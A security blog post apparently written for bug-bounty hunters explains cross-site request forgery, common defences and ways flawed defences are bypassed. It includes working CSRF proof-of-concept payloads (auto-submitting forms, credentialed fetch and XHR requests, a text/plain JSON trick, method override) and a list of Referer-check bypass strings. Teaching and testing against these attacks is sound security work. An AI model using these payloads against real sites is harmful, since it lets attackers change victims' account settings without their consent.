Hey everyone! My name is Tuhin Bose, currently working as a Security Engineer at BugBase. In this blog, we are going to explore Cross-site Request Forgery vulnerability - understanding what CSRF is, discussing popular prevention methodologies & common mistakes in implementing these protections, and exploring techniques for bypassing CSRF protection mechanisms.
Before directly jumping into the blog, let's understand what is CSRF. Imagine you're browsing a social media website and there is an email update feature. When you enter your new email and click on the update button, the following request is going to be sent from your browser to the server:
1POST /update-email HTTP/1.1 2Host: socialmedia.com 3User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 4Content-Type: application/x-www-form-urlencoded 5Cookie: sessionId=a1qb2ec132dwf52; user_token=1s4gty589tyq 6Referer: https://socialmedia.com 7 8email=mynewemail%40gmail.com 9
Now once the server receives your request, it'll identify you based on your cookies and update the email associated with your account.
Now what if someone managed to send the above request from your browser without your knowledge? This can be done by sending a URL to the victim and tricking them to click on it. To be more clear, the attacker can host the following HTML file in his server and send the URL to the victim:
1<html> 2<body> 3<form action="https://socialmedia.com/update-email" method="POST"> 4<input type="hidden" name="email" value="mynewemail@gmail.com" /> 5<input type="submit" value="Submit request" /> 6</form> 7<script> 8document.forms[0].submit(); 9</script> 10</body> 11</html> 12
Point to be noted that your browser will automatically send the cookies to any request sent to socialmedia.com (unless SameSite is set to strict
or lax
). So, the server receives the request and updates the email associated with your account without your knowledge.
This is called Cross-site Request Forgery where the attacker sends a request from the victim's browser to perform unintended actions (in the above scenario, changing the victim's email address without their knowledge) on behalf of the victim.
Now there are multiple ways to prevent CSRF. One of the most popular ways is to use an anti-CSRF token (a unique, unpredictable token for each session in every form or request that modifies state). Once the server receives a state-changing request, it'll check for the anti-CSRF token and verify it on the server side before processing the request. The token must be tied to the user's session.
Another popular approach is to use the SameSite cookie attribute which will prevent the browser from sending this cookie along with cross-site requests. For example,
1Set-Cookie: user_token=1s4gty589tyq; SameSite=Strict; 2
SameSite can have 3 possible values - none
, lax
, or strict
.
The none
value won't give any kind of protection. It's just like a normal cookie without any attributes.
If the SameSite is set to lax
, the browser will send the cookie in cross-site requests, but only if the request uses the GET
method and the request results from a top-level navigation by the user, such as clicking on a link. So, the cookies won't be included in cross-site POST
requests and since POST
requests are generally used to perform state-changing requests, it'll provide some sort of protection against CSRF attacks.
Lastly, If the SameSite is set to strict
, it means that the browser will not send the cookie in any cross-site requests. Although this is the most secure option, this can break the site in some cases where cross-site requests might be required.
There are many other ways to protect against CSRF such as using JSON/XML body in requests, using HTTP methods other than GET
/POST
such as PUT
/DELETE
, ensuring presence of a custom header in requests, etc. However, all of the above techniques require proper CORS configuration to ensure protection against CSRF.
Now as we know the popular techniques used by the developers to prevent CSRF attacks, let's discuss what common mistakes developers make while implementing these CSRF prevention techniques. We'll choose all the prevention methodologies one by one and discuss the possible ways of bypassing the protection.
We already discussed how these anti-CSRF token works. Now let's see what kind of mistakes the developers can make while implementing this:
1POST /update-email HTTP/1.1 2Host: socialmedia.com 3User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 4Content-Type: application/x-www-form-urlencoded 5Cookie: sessionId=a1qb2ec132dwf52; user_token=1s4gty589tyq 6Referer: https://socialmedia.com 7 8email=mynewemail%40gmail.com&token=p37w3e44r5e3dqd3838uh1r4y 9
1POST /update-email HTTP/1.1 2Host: socialmedia.com 3User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 4Content-Type: application/x-www-form-urlencoded 5Cookie: sessionId=a1qb2ec132dwf52; user_token=1s4gty589tyq 6Referer: https://socialmedia.com 7 8email=mynewemail%40gmail.com 9
1POST /update-email HTTP/1.1 2Host: socialmedia.com 3User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 4Content-Type: application/x-www-form-urlencoded 5Cookie: sessionId=a1qb2ec132dwf52; user_token=1s4gty589tyq 6Referer: https://socialmedia.com 7 8email=mynewemail%40gmail.com&token= 9
1POST /update-email HTTP/1.1 2Host: socialmedia.com 3User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 4Content-Type: application/x-www-form-urlencoded 5Cookie: sessionId=a1qb2ec132dwf52; user_token=1s4gty589tyq 6Referer: https://socialmedia.com 7 8email=mynewemail%40gmail.com&token=p37w3e44r5e3dqd3838uh1r4y 9
1POST /update-email HTTP/1.1 2Host: socialmedia.com 3User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 4Content-Type: application/x-www-form-urlencoded 5Cookie: sessionId=a1qb2ec132dwf52; user_token=1s4gty589tyq 6Referer: https://socialmedia.com 7 8email=mynewemail%40gmail.com&token=p37w3e44r5e3dqd3838uh1r6y 9
Observe that, the second last digit of the anti-CSRF token is different.
Sometimes, developers forget to tie the anti-CSRF token with the user's session. Instead, they maintain a global pool of tokens that are generated and issued to the users who are currently logged in to the site. If a request is received, the application will simply check whether the anti-CSRF token, present in the request body, exists in the pool or not.
In these cases, an attacker can simply use their anti-CSRF token to generate the CSRF POC.
Sometimes developers only implement anti-CSRF token validation for POST
requests. However, they forget to implement the validation when the GET
method is used.
In such cases, it might be possible to convert the request from POST
to GET
and remove the token to bypass CSRF protection. For example,
1POST /update-email HTTP/1.1 2Host: socialmedia.com 3User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 4Content-Type: application/x-www-form-urlencoded 5Cookie: sessionId=a1qb2ec132dwf52; user_token=1s4gty589tyq 6Referer: https://socialmedia.com 7 8email=mynewemail%40gmail.com&token=p37w3e44r5e3dqd3838uh1r4y 9
POST
to GET
1GET /update-email?email=mynewemail%40gmail.com HTTP/1.1 2Host: socialmedia.com 3User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 4Cookie: sessionId=a1qb2ec132dwf52; user_token=1s4gty589tyq 5Referer: https://socialmedia.com 6
However, this will only work if the application is configured to handle both POST
and GET
parameters.
1POST /update-email HTTP/1.1 2Host: socialmedia.com 3User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 4Content-Type: application/x-www-form-urlencoded 5Cookie: sessionId=a1qb2ec132dwf52; user_token=1s4gty589tyq; token=p37w3e44r5e3dqd3838uh1r4y 6Referer: https://socialmedia.com 7 8email=mynewemail%40gmail.com&token=p37w3e44r5e3dqd3838uh1r4y 9
This method is quite secure; however, if the application contains any other vulnerabilities (such as XSS, CRLF Injection, etc.) that allow attackers to set a cookie on the victim's browser, the CSRF protection can be bypassed by setting a new token in the cookie and using that token in the CSRF POC.
If the SameSite is set to strict
, it's nearly impossible to perform CSRF attacks (unless some other vulnerabilities are present). However, if the SameSite is set to lax
, there are couple of ways to perform CSRF attack. For example, if the application is configured to handle both POST
and GET
parameters, we can simply use the following CSRF POC to perform CSRF attack:
1<script> 2document.location="https://socialmedia.com/update-email?email=mynewemail%40gmail.com"; 3</script> 4
PortSwigger has a great blog on SameSite attribute and bypassing SameSite cookie restriction. Make sure to read them for more information about SameSite.
Instead of Form Data or Multipart Form Data, some applications use JSON to send data to the server. However, the browser allows only Form Data and Multipart Form Data to be sent in cross-origin requests (unless allowed by CORS).
There are two ways to perform CSRF attack in these cases.
Access-Control-Allow-Origin: https://attacker.com
Access-Control-Allow-Credentials: true
Access-Control-Allow-Methods: GET, POST
Access-Control-Allow-Headers: Content-Type
Let's understand each header one-by-one:
Access-Control-Allow-Origin
specifies which origins are permitted to access the resource.
Access-Control-Allow-Credentials
should be set to true
if the request requires credentials (like cookies). Otherwise, credentials will not be sent with the request.
Access-Control-Allow-Methods
indicates the HTTP methods that are allowed when accessing the resource.
Access-Control-Allow-Headers
specifies which HTTP headers can be used during the actual request.
Note: If both Access-Control-Allow-Origin
is set to *
and Access-control-allow-credentials
is set to true
, the CSRF attack won't be possible since modern browsers will simply ignore it. If Access-control-allow-origin
is set to *
then the browser won't allow submitting of credentials (cookies) with the request.
So, if all the above headers are present, we can simply use any of the following CSRF
POC:
1<script> 2var xhr = new XMLHttpRequest(); 3xhr.open("POST", "https://socialmedia.com/update-email"); 4xhr.withCredentials = true; 5xhr.setRequestHeader("Content-Type", "application/json"); 6xhr.send('{"email":"[email protected]"}'); 7</script> 8
1<html> 2<title>JSON CSRF POC</title> 3<body> 4<center> 5<script> 6fetch('https://socialmedia.com/update-email', {method: 'POST', credentials: 'include', headers: {'Content-Type': 'application/json'}, body:'{"email": "[email protected]"}'}); 7</script> 8</center> 9</body> 10</html> 11
application/json
value in Content-Type
). However, if the following request (observe the Content-Type
) is considered valid by the server, we can perform the CSRF attack:1POST /update-email HTTP/1.1 2Host: socialmedia.com 3User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 4Cookie: sessionId=a1qb2ec132dwf52; user_token=1s4gty589tyq 5Content-Type: text/plain 6Content-Length: 36 7Origin: https://socialmedia.com 8Referer: https://socialmedia.com 9 10{"email": "[email protected]"} 11
We can simply use the following CSRF POC to generate the above request from the victim's browser:
1<html> 2<body> 3<form action="https://socialmedia.com/update-email" method="POST" enctype="text/plain" id='myForm'> 4<input type="hidden" name='{"email": "[email protected]","a":"' value='a"}'> 5</form> 6<script> 7document.addEventListener('DOMContentLoaded', function(event) { 8document.createElement('form').submit.call(document.getElementById('myForm')); 9}); 10</script> 11</body> 12</html> 13
This will just add an extra parameter to the request body. The final request body will look like:
1{"email": "[email protected]","a":"=a"} 2
GET
/POST
Instead of traditional HTTP methods such as GET
/POST
, Rest APIs use the PUT
method to update or create a resource and the DELETE
method to remove a resource on the server. Again due to CORS, you're not allowed to send cross-site requests that use any HTTP methods other than GET
/POST
/OPTIONS
. If there is no CORS misconfiguration, we can try using _method
parameter to override the existing method. For example,
1PUT /update-email HTTP/1.1 2Host: socialmedia.com 3User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 4Content-Type: application/x-www-form-urlencoded 5Cookie: sessionId=a1qb2ec132dwf52; user_token=1s4gty589tyq 6Referer: https://socialmedia.com 7 8email=mynewemail%40gmail.com 9
PUT
to POST
1POST /update-email HTTP/1.1 2Host: socialmedia.com 3User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 4Content-Type: application/x-www-form-urlencoded 5Content-Length: 40 6Cookie: sessionId=a1qb2ec132dwf52; user_token=1s4gty589tyq 7Referer: https://socialmedia.com 8 9email=mynewemail%40gmail.com&_method=PUT 10
Sometimes, the application requires a custom header to be present in the request to process the request. For example, instead of using cookies, the application may use the Authorization
header for handling the user session. Another example would be passing the anti-CSRF token in the header instead of passing it in the body. In such cases, even if CORS allows us to send these headers, it's difficult to find out the value of the header. One approach can be finding another vulnerability (such as XSS) that will allow us to steal the required value.
Otherwise, we can simply remove the entire header (unless the header is responsible for the session) and try generating the CSRF POC.
Some applications use the HTTP Referer
header to protect against CSRF attacks by verifying whether the request originated from the application's domain or not. In these cases, we can try any of the following:
Referer
header by adding the following line in our CSRF POC:1<meta name="referrer" content="never"> 2
Referer
header using some kind of regex, we can try to bypass the regex. For example, we can set any of the following as Referer
:1https://attacker.com?target.com 2https://attacker.com;target.com 3https://attacker.com/target.com/../targetPATH 4https://target.com.attacker.com 5https://attackertarget.com 6https://[email protected] 7https://attacker.com#target.com 8https://attacker.com\.target.com 9https://attacker.com/.target.com 10
[1] Bug Bounty Methodology: https://github.com/tuhin1729/Bug-Bounty-Methodology/blob/main/CSRF.md
[2] HackTricks: https://book.hacktricks.xyz/pentesting-web/csrf-cross-site-request-forgery
Bypassing CSRF Protection Like a Pro